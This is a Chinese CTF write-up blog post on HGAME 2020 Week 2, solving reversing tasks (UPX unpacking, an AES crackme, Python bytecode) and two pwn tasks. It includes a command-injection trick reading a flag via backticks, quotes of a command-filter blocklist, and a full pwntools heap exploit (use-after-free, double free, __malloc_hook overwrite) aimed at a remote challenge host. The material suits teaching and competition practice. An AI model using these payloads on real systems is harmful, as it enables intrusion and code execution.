2020HGAME Week2 WP

Author Avatar
kabeor 2月 08, 2020

2020HGAME Week2 WP

unpack

拿到一个elf,upx3.91的壳,一般工具都脱不了,直接ida动态调,到oep之后dump

IDC dump脚本

#include <idc.idc>
#define PT_LOAD 1
#define PT_DYNAMIC 2
static main(void)
{
auto ImageBase,StartImg,EndImg;
auto e_phoff;
auto e_phnum,p_offset;
auto i,dumpfile;
ImageBase=0x400000;
StartImg=0x400000;
EndImg=0x0;
if (Dword(ImageBase)==0x7f454c46 || Dword(ImageBase)==0x464c457f )
{
if(dumpfile=fopen("G:\\dumpfile","wb"))
{
e_phoff=ImageBase+Qword(ImageBase+0x20);
Message("e_phoff = 0x%x\n", e_phoff);
e_phnum=Word(ImageBase+0x38);
Message("e_phnum = 0x%x\n", e_phnum);
for(i=0;i<e_phnum;i++)
{
if (Dword(e_phoff)==PT_LOAD || Dword(e_phoff)==PT_DYNAMIC)
{
p_offset=Qword(e_phoff+0x8);
StartImg=Qword(e_phoff+0x10);
EndImg=StartImg+Qword(e_phoff+0x28);
Message("start = 0x%x, end = 0x%x, offset = 0x%x\n", StartImg, EndImg, p_offset);
dump(dumpfile,StartImg,EndImg,p_offset);
Message("dump segment %d ok.\n",i);
}
e_phoff=e_phoff+0x38;
}

fseek(dumpfile,0x3c,0);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);

fseek(dumpfile,0x28,0);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);
fputc(0x00,dumpfile);

fclose(dumpfile);
}else Message("dump err.");
}
}
static dump(dumpfile,startimg,endimg,offset)
{
auto i;
auto size;
size=endimg-startimg;
fseek(dumpfile,offset,0);
for ( i=0; i < size; i=i+1 )
{
fputc(Byte(startimg+i),dumpfile);
}
}

脱壳之后的逻辑很简单,直接放脚本了

box= [ 0x68, 0x68, 0x63, 0x70, 0x69, 0x80, 0x5B, 0x75, 0x78, 0x49, 0x6D, 0x76, 0x75, 0x7B, 0x75, 0x6E, 0x41, 0x84, 0x71, 0x65, 0x44, 0x82, 0x4A, 0x85, 0x8C, 0x82, 0x7D, 0x7A, 0x82, 0x4D, 0x90, 0x7E, 0x92, 0x54, 0x98, 0x88, 0x96, 0x98, 0x57, 0x95, 0x8F, 0xA6]
key=list(range(42))

for i in range(42):
key[i]=box[i]-i
print(chr(key[i]),end='')

Classic_CrackMe

C#的exe,dnspy分析发现使用了AES,CBC模式,并且使用base64加密了一下,直接提取出来解就行

from base64 import b64encode,b64decode
from Crypto.Cipher import AES

def add_to_16(text):
if len(text.encode('utf‐8')) % 16:
add = 16 ‐ (len(text.encode('utf‐8')) % 16)
else:
add = 0
text = text + ('\0' * add)
return text.encode('utf‐8')

def encrypt(text):
key = 'Hg4m3_2o20_WeeK2'.encode('utf‐8')
mode = AES.MODE_CBC
iv = b'0PuOh9IlX054Icts'
text = add_to_16(text)
cryptos = AES.new(key, mode, iv)
cipher_text = cryptos.encrypt(text)
return cipher_text

def decrypt(text, iv):
key = b64decode(b"SGc0bTNfMm8yMF9XZWVLMg==")
mode = AES.MODE_CBC
cryptos = AES.new(key, mode, iv)
plain_text = cryptos.decrypt(text)
return plain_text

data = decrypt(b64decode("mjdRqH4d1O8nbUYJk+wVu3AeE7ZtE9rtT/8BA8J897I="), b64decode(b"MFB1T2g5SWxYMDU0SWN0cw==")).decode()
str4 = "Same_ciphertext_"
iv = b64decode(b"MFB1T2g5SWxYMDU0SWN0cw==").decode()
res = []
new_iv = ''
for i in range(16):
res.append(ord(data[i]) ^ ord(iv[i]))
for i in range(16):
new_iv += chr(res[i] ^ ord(str4[i]))
str2 = b64encode(new_iv.encode('utf‐8')).decode()

destinationArray = b64decode("dJntSWSPWbWocAq4yjBP5Q==")
str3 = decrypt(destinationArray, encrypt(str4)).decode()[:‐1]
print("hgame{"+str2+str3+"}")

babyPy

给的是python的字节码

自己分析了一下

In [1]: from secret import flag, encrypt

In [2]: encrypt(flag)
Out[2]: '7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22'

In [3]: import dis

In [4]: dis.dis(encrypt)
4 0 LOAD_FAST 0 (OOo)
2 LOAD_CONST 0 (None)
4 LOAD_CONST 0 (None)
6 LOAD_CONST 1 (-1)
8 BUILD_SLICE 3
10 BINARY_SUBSCR
12 STORE_FAST 1 (flag) # flag = OOo[::-1]

5 14 LOAD_GLOBAL 0 (list)
16 LOAD_FAST 1 (flag)
18 CALL_FUNCTION 1
20 STORE_FAST 2 (flag) # flag = list(flag)

6 22 SETUP_LOOP 50 (to 74)
24 LOAD_GLOBAL 1 (range)
26 LOAD_CONST 2 (1)
28 LOAD_GLOBAL 2 (len)
30 LOAD_FAST 2 (flag) # range(1,len(flag))
32 CALL_FUNCTION 1
34 CALL_FUNCTION 2
36 GET_ITER
>> 38 FOR_ITER 32 (to 72) # for i in range(1,len(flag))
40 STORE_FAST 3 (i) #

7 42 LOAD_FAST 2 (flag)
44 LOAD_FAST 3 (i)
46 LOAD_CONST 2 (1)
48 BINARY_SUBTRACT
50 BINARY_SUBSCR # flag[i-1]
52 LOAD_FAST 2 (flag)
54 LOAD_FAST 3 (i)
56 BINARY_SUBSCR # flag[i]
58 BINARY_XOR
60 STORE_FAST 4 (Oo) # Oo = flag[i-1] ^ flag[i]

8 62 LOAD_FAST 4 (Oo)
64 LOAD_FAST 2 (flag)
66 LOAD_FAST 3 (i)
68 STORE_SUBSCR # flag[i] = Oo
70 JUMP_ABSOLUTE 38
>> 72 POP_BLOCK

9 >> 74 LOAD_GLOBAL 3 (bytes)
76 LOAD_FAST 2 (flag)
78 CALL_FUNCTION 1
80 STORE_FAST 5 (O) # O = bytes(flag)

10 82 LOAD_FAST 5 (O)
84 LOAD_METHOD 4 (hex) # hex(O)
86 CALL_METHOD 0
88 RETURN_VALUE

In [5]: exit()
flag = "sfesefsfhthfyhjjus"
O0o = list(flag)
out_flag = ""
for i in range(1,len(O0o)):
O0 = i
Oo = ord(O0o[O0-1])^ord(O0o[O0])
O0o [O0] = Oo

逆向即可

q = "7d037d045717722d62114e6a5b044f2c184c3f44214c2d4a22"
flag = []
for i in range(0,len(q),2):
flag.append(int(q[i:i+2],16))
print flag
flags = ""

flag = flag[::-1]
for i in range(len(flag)-1):
flag[i] = flag[i+1]^flag[i]
flags += chr(flag[i])
flags += chr(0x7d)
print flags

findyourself

有两个check

signed __int64 __fastcall check1(const char *a1)
{
signed __int64 result; // rax
int i; // [rsp+1Ch] [rbp-14h]

for ( i = 0; i < strlen(a1); ++i )
{
if ( (a1[i] <= 96 || a1[i] > 122) && (a1[i] <= 64 || a1[i] > 90) && a1[i] != 47 && a1[i] != 32 && a1[i] != 45 )
return 0xFFFFFFFFLL;
}
if ( strstr(a1, "sh") || strstr(a1, "cat") || strstr(a1, "flag") || strstr(a1, "pwd") || strstr(a1, "export") )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}

signed __int64 __fastcall check2(const char *a1)
{
signed __int64 result; // rax

if ( strchr(a1, 42)
|| strstr(a1, "sh")|| strstr(a1, "cat")|| strstr(a1, "..")|| strchr(a1, 38)|| strchr(a1, 124)|| strchr(a1, 62)|| strchr(a1, 60) ) {
result = 0xFFFFFFFFLL;
}
else {
result = 0LL;
}
return result;
}

过滤了常用的查看命令

思路是将flag读出作为新文件的文件名

cat /flag>/tmp/`cat /flag`

Roc826s_Note

存在UAF

__int64 dele()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("index?");
v1 = readi("index?");
if ( list[v1] )
{
free(list[v1]); <============
puts("done!");
}
else
{
puts("Invalid index!");
}
return 0LL;
}

于是泄露libc修改__malloc_hook到one_gadget

from pwn import *


context.log_level="debug"

io = remote('47.103.214.163',21002)
#io = process('./Roc826')
#elf = ELF(EXEC_FILE)
libc = ELF(REMOTE_LIBC)
def add(size,content):
io.sendlineafter(':','1')
io.sendlineafter('?',str(size))
io.sendlineafter(':',content)
def show(idx):
io.sendlineafter(':','3')
io.sendlineafter('?',str(idx))

def delete(idx):
io.sendlineafter(':','2')
io.sendlineafter('?',str(idx))
add(0x89,'a')#0
add(0x10,'b')#1

delete(0)

show(0)
io.recvuntil('content:')
unsorted_bin = u64(io.recvn(6).ljust(8,'\x00')) - 88
print hex(unsorted_bin)
libc_addr = unsorted_bin - 3951392

print hex(libc_addr)

__malloc_hook = libc_addr + libc.sym['__malloc_hook']

add(0x68,'c')#2
add(0x68,'d')#3
add(0x68,'e')#4

delete(2)
delete(3)
delete(2)

add(0x68,p64(__malloc_hook-35)*2)#5
add(0x68,'f')#6

add(0x68,'g')
add(0x68,19*'\x00'+p64(libc_addr+0xf1147))

io.sendlineafter(':','1')
io.sendlineafter('?',str(0x68))
io.interactive()

From https://kabeor.github.io/2020HGAME Week2 WP/ bye

This blog is under a CC BY-NC-SA 4.0 Unported License
本文链接:https://kabeor.github.io/2020HGAME Week2 WP/